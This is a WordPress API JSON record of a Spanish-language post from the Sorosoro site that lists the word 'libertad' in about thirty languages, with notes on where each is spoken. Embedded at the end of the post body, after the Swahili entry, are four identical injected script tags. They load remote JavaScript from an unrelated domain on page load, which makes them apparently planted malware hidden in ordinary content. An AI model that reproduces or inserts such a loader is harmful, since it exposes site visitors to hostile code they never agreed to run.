{"id":71160,"date":"2017-10-31T16:57:39","date_gmt":"2017-10-31T15:57:39","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=71160"},"modified":"2025-10-21T21:49:43","modified_gmt":"2025-10-21T19:49:43","slug":"libertad","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2017\/10\/libertad\/","title":{"rendered":"Libertad"},"content":{"rendered":"<p><strong>En \u00e1rabe<\/strong>, por Maha Hilal et Mouna : <span style=\"color: #ff6600;\">\u062d\u0631\u064a\u0629 (hourriya)<\/span><\/p>\n<p><strong>En arapaj\u00f3<\/strong>,\u00a0por Fran\u00e7ois-R\u00e9gis Rolland : <span style=\"color: #ff6600;\">hoownii3ouhu&#8217;<\/span><\/p>\n<p>Este idioma se habla en los Estados Unidos, en los estados de Wyoming (reserva de Wind River) y en Oklahoma.<\/p>\n<p>Precision :\u00a0palabra abstracto que se traduce dif\u00edcilmente en arapjo. Esta palabra es en realidad un verbo negativo: \u00abNo estar con un grupo\u00bb, tan libre, independiente.<\/p>\n<p><strong>En breton<\/strong>, por Anna et Rozenn : <span style=\"color: #ff6600;\">frankiz<\/span><\/p>\n<p><strong>En catal\u00e1n<\/strong>, por Alice : <span style=\"color: #ff6600;\">llibertat<\/span><\/p>\n<p>Este idioma se habla en el sur de Francia, Espa\u00f1a y un poco en Argentina e Italia (en Cerde\u00f1a).<\/p>\n<p><strong>En checo<\/strong>, por Klement : <span style=\"color: #ff6600;\">svoboda<\/span><\/p>\n<p><strong>En cornico<\/strong>, por James : <span style=\"color: #ff6600;\">rydhsys<\/span><\/p>\n<p><strong>En corso<\/strong>, por David : <span style=\"color: #ff6600;\">libert\u00e0<\/span><\/p>\n<p><strong>En espa\u00f1ol<\/strong>, por Asun et Tristan : <span style=\"color: #ff6600;\">libertad<\/span><\/p>\n<p><strong>En esperanto<\/strong>, por Jean-Claude : <span style=\"color: #ff6600;\">libereco<\/span><\/p>\n<p><strong>En finn\u00e9s<\/strong>, por Noora : <span style=\"color: #ff6600;\">vapaus<\/span><\/p>\n<p><strong>En franc\u00e9s<\/strong>, por Am\u00e9lie : <span style=\"color: #ff6600;\">libert\u00e9<\/span><\/p>\n<p><strong>En gal\u00e9s<\/strong>, por Anthony : <span style=\"color: #ff6600;\">rhyddid<\/span><\/p>\n<p><strong>En gallego<\/strong>, por Felipe : <span style=\"color: #ff6600;\">liberdade<\/span><\/p>\n<p>Este idioma se habla en Galicia (Espa\u00f1a)<\/p>\n<p><strong>En irland\u00e9s<\/strong>, por Mairin : <span style=\"color: #ff6600;\">saoirse<\/span><\/p>\n<p><strong>En ingl\u00e9s<\/strong>, por Anastasija y Mireille : <span style=\"color: #ff6600;\">freedom<\/span><\/p>\n<p><strong>En lingala<\/strong>, por A\u00f1ne : <span style=\"color: #ff6600;\">lipanda<\/span><\/p>\n<p><strong>En malayalam<\/strong>, por Khaleel : <span style=\"color: #ff6600;\">swaathanthram<\/span><\/p>\n<p>Este idioma se habla en India, especialmente en el sur del pa\u00eds, en el estado de Kerala<\/p>\n<p><strong>En mongol<\/strong>, por Anastasija : <span style=\"color: #ff6600;\">\u044d\u0440\u0445 \u0447\u04e9\u043b\u04e9\u04e9 (erkh ch\u00f6l\u00f6\u00f6)<\/span><\/p>\n<p>Se hable esta lengua en en Mongolia<\/p>\n<p>Precisi\u00f3n: se pronuncia [erx t\u0361\u0283\u02b0\u0153\u026e\u0153:]<\/p>\n<p><strong>En otom\u00ed (o h\u00f1\u00e4h\u00f1u)<\/strong>, por Raymundo : <span style=\"color: #ff6600;\">nthegi<\/span><\/p>\n<p>Se hable esta lengua en los estados de M\u00e9xico, Hidalgo y Quer\u00e9taro,<\/p>\n<p>Pr\u00e9cision : \u00abe\u00bb con rayita abajo para dar sonido de \u00abE\u00bb abierta o bajo labial<\/p>\n<p><strong>En parlanjhe (poitevin-saintongeais)<\/strong>, por Simon : <span style=\"color: #ff6600;\">librtai<\/span><\/p>\n<p><strong>En portugu\u00e9s<\/strong>, por Mireille : <span style=\"color: #ff6600;\">liberdade<\/span><\/p>\n<p><strong>En serbio \/ croata \/ bosnio<\/strong>, por Anastasija : <span style=\"color: #ff6600;\">sloboda<\/span><\/p>\n<p>Este idioma se habla en Serbia, Croacia, Bosnia y Herzegovina, Voivodina, Kosovo.<\/p>\n<p><strong> En sueco <\/strong>, por Monika Palmgren: <span style=\"color: #ff6600;\"> frihet <\/span><\/p>\n<p>Este idioma se habla en Suecia y Finlandia.<\/p>\n<p><strong>En tamazight (o bereber)<\/strong>, par Abdo et Macinissa : <span style=\"color: #ff6600;\">\u2d5c\u2d49\u2d4d\u2d49\u2d4d\u2d49 (thilelli ou tilelli)<\/span><\/p>\n<p>Este idioma se habla en Argelia y, en general, en el norte de \u00c1frica.<\/p>\n<p>Precisi\u00f3n : el th se pronuncia spirant (como el th en ingl\u00e9s)<\/p>\n<p><strong>En swahili<\/strong>, por A\u00f1ne : <span style=\"color: #ff6600;\">uhuru<\/span><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>En \u00e1rabe, por Maha Hilal et Mouna : \u062d\u0631\u064a\u0629 (hourriya) En arapaj\u00f3,\u00a0por Fran\u00e7ois-R\u00e9gis Rolland : hoownii3ouhu&#8217; Este idioma se habla en los Estados Unidos, en los estados de Wyoming (reserva de Wind River) y en Oklahoma. Precision :\u00a0palabra abstracto que se traduce dif\u00edcilmente en arapjo. Esta palabra es en realidad un verbo negativo: \u00abNo estar [&hellip;]<\/p>\n","protected":false},"author":23,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[16],"tags":[],"class_list":["post-71160","post","type-post","status-publish","format-standard","hentry","category-la-palabra-del-mes"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Libertad - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2017\/10\/libertad\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Libertad - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"En \u00e1rabe, por Maha Hilal et Mouna : \u062d\u0631\u064a\u0629 (hourriya) En arapaj\u00f3,\u00a0por Fran\u00e7ois-R\u00e9gis Rolland : hoownii3ouhu&#8217; Este idioma se habla en los Estados Unidos, en los estados de Wyoming (reserva de Wind River) y en Oklahoma. Precision :\u00a0palabra abstracto que se traduce dif\u00edcilmente en arapjo. Esta palabra es en realidad un verbo negativo: \u00abNo estar [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2017\/10\/libertad\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2017-10-31T15:57:39+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T19:49:43+00:00\" \/>\n<meta name=\"author\" content=\"Simon Couturier\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Simon Couturier\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2017\/10\/libertad\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2017\/10\/libertad\/\"},\"author\":{\"name\":\"Simon Couturier\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/c97446a63dfa10cef0caaf1e7cc312a3\"},\"headline\":\"Libertad\",\"datePublished\":\"2017-10-31T15:57:39+00:00\",\"dateModified\":\"2025-10-21T19:49:43+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2017\/10\/libertad\/\"},\"wordCount\":367,\"articleSection\":[\"El abecedario de Sorosoro\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2017\/10\/libertad\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2017\/10\/libertad\/\",\"name\":\"Libertad - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"datePublished\":\"2017-10-31T15:57:39+00:00\",\"dateModified\":\"2025-10-21T19:49:43+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/c97446a63dfa10cef0caaf1e7cc312a3\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2017\/10\/libertad\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2017\/10\/libertad\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2017\/10\/libertad\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Libertad\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/c97446a63dfa10cef0caaf1e7cc312a3\",\"name\":\"Simon Couturier\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/simon-couturier\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Libertad - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2017\/10\/libertad\/","og_locale":"es_ES","og_type":"article","og_title":"Libertad - Sorosoro","og_description":"En \u00e1rabe, por Maha Hilal et Mouna : \u062d\u0631\u064a\u0629 (hourriya) En arapaj\u00f3,\u00a0por Fran\u00e7ois-R\u00e9gis Rolland : hoownii3ouhu&#8217; Este idioma se habla en los Estados Unidos, en los estados de Wyoming (reserva de Wind River) y en Oklahoma. Precision :\u00a0palabra abstracto que se traduce dif\u00edcilmente en arapjo. Esta palabra es en realidad un verbo negativo: \u00abNo estar [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2017\/10\/libertad\/","og_site_name":"Sorosoro","article_published_time":"2017-10-31T15:57:39+00:00","article_modified_time":"2025-10-21T19:49:43+00:00","author":"Simon Couturier","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Simon Couturier","Tiempo de lectura":"2 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2017\/10\/libertad\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2017\/10\/libertad\/"},"author":{"name":"Simon Couturier","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/c97446a63dfa10cef0caaf1e7cc312a3"},"headline":"Libertad","datePublished":"2017-10-31T15:57:39+00:00","dateModified":"2025-10-21T19:49:43+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2017\/10\/libertad\/"},"wordCount":367,"articleSection":["El abecedario de Sorosoro"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2017\/10\/libertad\/","url":"https:\/\/www.sorosoro.org\/es\/2017\/10\/libertad\/","name":"Libertad - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"datePublished":"2017-10-31T15:57:39+00:00","dateModified":"2025-10-21T19:49:43+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/c97446a63dfa10cef0caaf1e7cc312a3"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2017\/10\/libertad\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2017\/10\/libertad\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2017\/10\/libertad\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"Libertad"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/c97446a63dfa10cef0caaf1e7cc312a3","name":"Simon Couturier","url":"https:\/\/www.sorosoro.org\/es\/author\/simon-couturier\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/71160","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/23"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=71160"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/71160\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=71160"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=71160"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=71160"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}